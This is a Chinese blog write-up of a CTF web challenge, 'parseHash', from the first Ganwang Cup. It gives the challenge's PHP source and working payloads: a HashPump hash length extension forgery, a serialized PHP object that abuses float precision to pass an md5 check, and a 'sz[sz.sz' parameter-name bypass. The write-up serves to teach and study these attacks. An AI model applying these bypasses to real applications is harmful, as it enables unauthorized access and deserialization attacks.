第一届赣网杯网络安全大赛[parseHash]

2023-11-29 22:50

本文主要是介绍第一届赣网杯网络安全大赛[parseHash],希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

打了个酱油。
记录下一些web题,杂项和其他赛题网上也挺多的。

由于打完没直接写,现在靶场也关了,无法逆推,所以自己修改了key值重新改了下hash。题目还是一样。

源码:

<?php 
include("key.php");
class person{ public $aa; public $bb; public $username; public $password; public function __construct($key=''){ $this->username="jxsz";$this->password="jxsz";if(strlen($key)==16&&md5($key . urldecode( $this->username .  $this->password)=="2c16349ea6a20496e05fb40e6c128b8b")){echo "Welcome";}  } public function __destruct(){ $this->aa = (string)$this->aa; if(strlen($this->aa) > 5 || strlen($this->bb) > 5||preg_match('/INF|NAN|M_/i', $this->aa)){ die("no no no"); } if($this->aa !== $this->bb && md5($this->aa) === md5($this->bb) && $this->aa != $this->bb){ echo file_get_contents("/flag"); } } 
} 
highlight_file(__FILE__); 
$person=new person($key);
$other_pwd=$_POST["pwd1"];
$other_hash=$_POST["hash_code"];
if(md5($key . urldecode("jxsz" . $other_pwd))==$other_hash&&strpos(urldecode($other_pwd),"szxy666")>0){echo "66666666666";unserialize($_GET['sz_sz.sz']);
}

原题:
在这里插入图片描述
首先我们需要达到以下条件,进入代码段:

if(md5($key . urldecode("jxsz" . $other_pwd))==$other_hash&&strpos(urldecode($other_pwd),"szxy666")>0){echo "66666666666";unserialize($_GET['sz_sz.sz']);
}

才能对其进行反序列化,观察代码:

public function __construct($key=''){ $this->username="jxsz";$this->password="jxsz";if(strlen($key)==16&&md5($key . urldecode( $this->username .  $this->password)=="2c16349ea6a20496e05fb40e6c128b8b")){echo "Welcome";}  }

可以知道这里能通过hash长度扩展攻击进行绕过。
hash长度扩展攻击的攻击条件:

当知道 MD5(secret) 时,在不知道secret的情况下,可以很轻易的推算出 MD5(secret||padding||m’)
在这里m’ 是任意数据, || 是连接符,可以为空。padding是 secret 最后的填充字节。
md5的padding字节包含整个消息的长度,因此,为了能够准确的计算出padding的值,secret的长度也是我们需要知道的。

可以总结以下几点:

  • 准备了一个密文和一些数据构造成一个字符串,并且使用了MD5之类的哈希函数生成了一个哈希值(也就是所谓的signature/签名)。
  • 让攻击者可以提交数据以及哈希值,但是攻击者不知道密文。
  • 服务器把提交的数据跟密文构造成字符串,并经过哈希后判断是否等同于提交上来的哈希值。

这里可以直接使用HashPump这个工具来构造hash长度扩展攻击payload:
github项目地址:https://github.com/bwall/HashPump
由于我们还要绕过strpos(urldecode($other_pwd),"szxy666")>0,所以需要将扩展填充数据置为szxy666,以此进行绕过。
在这里插入图片描述

d6659e29cc6a0878d07b19dd29a70ddc
jxsz\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00szxy666

\x替换成%,接着传入参数中:

pwd1=jxsz%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00szxy666&hash_code=d6659e29cc6a0878d07b19dd29a70ddc

在这里插入图片描述
成功绕过执行并输出66666666666
接着我们要做的就是反序列化绕过md5比较,而上面将比较值进行过滤,值长度不能大于5,并且过滤了INF|NAN|M_等绕过方法,这里还是可以通过高精度进行绕过:
参考链接:https://www.cnblogs.com/phpper/p/7664069.html
序列化:

class person{public $aa;public $bb;}$float=new person();
$float->aa=0.8 * 7;
$float->bb=7 * 0.8;
var_dump(serialize($m));?>

构造payload如下:
在这里插入图片描述

O:6:"person":2:{s:2:"aa";d:5.6000000000000005;s:2:"bb";d:5.6000000000000005;}

然而发现unserialize($_GET['sz_sz.sz']);参数名带中有含有特殊字符.,可以看下在php对字符.等特殊字符的过滤机制:https://github.com/php/php-src/commit//fc4d462e947828fdbeac6020ac8f34704a218834?branch=fc4d462e947828fdbeac6020ac8f34704a218834&diff=unified
在这里插入图片描述在其中,我们可以很明确的看到发现空格或.或[,php会将其替换为_,而代码中可以看出只会将特殊字符替换一次。
我们可以利用特殊字符会替换为_,而只会替换一次的特殊字符的处理机制,将参数改为sz[sz.sz,这样的话,php就会将[当成特殊字符,而将其替换为_,由于替换一次的机制,所以.就绕过了过滤机制不被替换。
所以我们构造的参数名为sz[sz.sz
直接传入序列化的:

O:6:"person":2:{s:2:"aa";d:5.6000000000000005;s:2:"bb";d:5.6000000000000005;}

payload:

?sz[sz.sz=O:6:"person":2:{s:2:"aa";d:5.6000000000000005;s:2:"bb";d:5.6000000000000005;}

成功拿到flag。
在这里插入图片描述

flag{hashparse+sz_sz.sz}

这篇关于第一届赣网杯网络安全大赛[parseHash]的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/434628

相关文章

如何做好网络安全

随着互联网技术的飞速发展,网站已成为企业对外展示、交流和服务的重要窗口。然而,随之而来的网站安全问题也日益凸显,给企业的业务发展和用户数据安全带来了巨大威胁。因此,高度重视网站安全已成为网络安全的首要任务。今天我们就来详细探讨网站安全的重要性、面临的挑战以及有什么应对方案。 一、网站安全的重要性 1. 数据安全与用户隐私 网站是企业存储和传输数据的关键平台,包括用户个人信息、

网络安全运维培训一般多少钱

在当今数字化时代,网络安全已成为企业和个人关注的焦点。而网络安全运维作为保障网络安全的重要环节,其专业人才的需求也日益增长。许多人都对网络安全运维培训感兴趣,那么,网络安全运维培训一般多少钱呢?   一、影响网络安全运维培训价格的因素   1. 培训内容的深度和广度   不同的网络安全运维培训课程涵盖的内容有所不同。一些基础的培训课程可能主要涉及网络安全基础知识、常见安全工具的使用等,价

【网络安全】服务基础第二阶段——第二节:Linux系统管理基础----Linux统计,高阶命令

目录 一、Linux高阶命令 1.1 管道符的基本原理 1.2 重定向 1.2.1 输出重定向 1.2.2 输入重定向 1.2.3 wc命令基本用法 1.3 别名 1.3.1 which命令基本语法 1.3.2 alias命令基本语法 1.4 压缩归档tar 1.4.1 第一种:gzip压缩 1.4.2 第二种:bzip压缩 1.5 tar命令 二、VIM编辑器使用

120张网络安全等保拓扑大全

安全意识培训不是一个ppt通吃,不同的场景应该用不同的培训方式和内容http://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484385&idx=1&sn=92f5e7f3ee36bdb513379b833651711d&chksm=c0e47abdf793f3ab7f4621b64d29c04acc03b45c0fc1eb613c37f3

网络安全(sql注入)

这里写目录标题 一. information_schema.tables 和 information_schema.schemata是information_schema数据库中的两张表1. information_schema.schemata2. information_schema.tables 二. 判断注入类型1. 判断数字型还是字符型注入2. 判断注入闭合是""还是'' 三. 判

ACM东北地区程序设计大赛

不得不说随着参赛级别的提高,题目真的是越来越难啊,不过队长真是给力啊,在我们三个共同努力之下拿下了地区赛三等奖,哈哈我们可是大一唯一一只获奖队,终于在这次比赛打败了田大神。。。大神是失手了,俺和他差距还是挺大的。。。队友陈彤马上要去服兵役了,他说这是我们送给他最好的离别礼物,希望那家伙在部队好好干,以后谁干揍我!!!东北地区赛结束后,今年已经估计没机会参加亚洲区比赛了,赶紧补高数和线数啊!!别挂了

【网络安全】古典密码体制概述

1. 古典密码体制概述 1.1 定义与历史背景 古典密码体制是指在计算机科学和信息安全技术出现之前的传统加密方法。这些方法主要包括替换和易位两种基本形式。古典密码体制的特点是简单、易用,但安全性不高,容易被破解。在古代,人们使用纸、笔或简单的器械来实现加密和解密操作。 定义:古典密码体制是基于简单数学运算和文字替换的加密方法,包括替代密码和置换密码两大类。历史背景:古典密码的使用可以追溯到古

【网络安全 | 甲方建设】SaaS平台、Jira工具及Jenkins服务器

原创文章,不得转载。 文章目录 SaaS平台友好性 Jira友好性 Jenkins友好性 SaaS平台 SaaS,全称为 “Software as a Service”(软件即服务),是一种基于云计算的软件交付模型。在这种模型中,软件不需要用户在本地安装和维护,而是通过互联网访问和使用。软件通常由服务提供商托管,用户只需通过浏览器或轻量级客户端连接到远程服务器即可使用

PCDN 技术如何保障网络安全(壹)

在当今数字化时代,网络安全成为了至关重要的问题。PCDN(Peer-to-Peer Content Delivery Network)技术在提升内容分发效率的同时,也采取了一系列措施来保障网络安全。 一、加密传输与数据保护 PCDN 技术采用先进的加密算法对传输中的数据进行加密,确保数据在节点之间传输的安全性。无论是用户请求的内容还是节点之间共享的数据,都被加密处理,使得黑客即使截取了数据

【网络安全 | 甲方建设】开发、测试、部署关键词详解

原创文章,不得转载。 文章目录 需求与开发原生需求重构新增服务调用 测试与覆盖率单元测试增量代码单测UT覆盖率CR前覆盖率APP回归测试回归测试自动化冒烟 部署与环境Stable环境部署待部署服务名称代码分支待部署代码分支PR链接灰度发布蓝绿发布Canary发布热修复(Hotfix)Mock环境Redis非Cluster模式Nacos变更 持续集成与交付持续集成(CI)持续交付(C